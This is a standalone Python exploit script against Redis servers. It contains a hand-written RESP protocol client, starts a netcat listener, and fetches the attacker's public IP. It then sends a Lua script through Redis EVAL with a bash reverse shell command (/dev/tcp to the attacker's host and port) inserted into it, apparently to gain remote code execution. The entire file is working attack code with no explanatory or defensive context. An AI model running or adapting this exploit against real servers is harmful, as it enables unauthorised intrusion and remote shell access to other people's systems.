import pwn
import requests
import threading
import subprocess
import sys


class Redis:
    def __init__(self, host='localhost', port=6379):
        self.host = host
        self.port = port
        self.conn = None


    def prepare(self, data):
        if isinstance(data, int):
            return f":{data}\r\n".encode()
        elif isinstance(data, str):
            return f"${len(data)}\r\n{data}\r\n".encode()
        elif isinstance(data, bytes):
            return f"${len(data)}\r\n".encode() + data + b"\r\n"
        elif isinstance(data, list):
            return f"*{len(data)}\r\n".encode() + b''.join([self.prepare(elm) for elm in data])
        elif data is None:
            return b"$-1\r\n"
        else:
            raise ValueError(f"Non-RESP type: {type(data)}")


    def cmd(self, argv):
        self.conn = pwn.remote(self.host, self.port)
        self.conn.send(self.prepare(argv))
        return self.recv()


    def recv(self):
        t = self.conn.recv(1)
        if t == b'+' or t == b'-':
            return self.conn.recvuntil(b"\r\n")[:-2]
        elif t == b':':
            return int(self.conn.recvuntil(b"\r\n")[:-2])
        elif t == b'$':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            if s == -1:
                return None
            d = self.conn.recv(s)
            self.conn.recvuntil(b"\r\n")
            return d
        elif t == b'*':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            return [redis_recv(sock) for i in range(s)]
        else:
            raise ValueError(f"What is this? {t}")

    def GET(self, key):
        return self.cmd(["GET", key])

    def EVAL(self, script):
        return self.cmd(["EVAL", script, "0"])


class ShellServer:
    def __init__(self, lport=4444, lhost='0.0.0.0'):
        self.lhost = lhost
        self.lport = lport

    def run(self):
        #l = pwn.listen(self.lport, self.lhost)
        #target = l.wait_for_connection()
        #target.interactive()
        subprocess.run(["nc", "-lnvp", str(self.lport)])



def main():
    redis_host = 'localhost'
    redis_port = 6379

    lhost = '127.0.0.1'
    lport = 4444

    debug = False

    if len(sys.argv) > 1:
        redis_host = sys.argv[1]
        if len(sys.argv) > 2:
            redis_port = sys.argv[2]

    if not debug:
        r = requests.get('https://jsonip.com/')
        lhost = r.json()['ip']


    print(f"[*] Starting server on {lhost}:{lport}")
    shell_server = ShellServer(lport)
    shell_server = threading.Thread(target=ShellServer().run)
    shell_server.start()

    print(f"[*] Sending evil lua script to {redis_host}:{redis_port}")
    redis = Redis(redis_host, redis_port)

    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'".encode()
    evil_lua_script = open("exploit.lua", "rb").read().replace(b"[CMD]", cmd)
    r = redis.EVAL(evil_lua_script)

    if debug:
        if r: print(repr(r))


if __name__ == "__main__":
    main()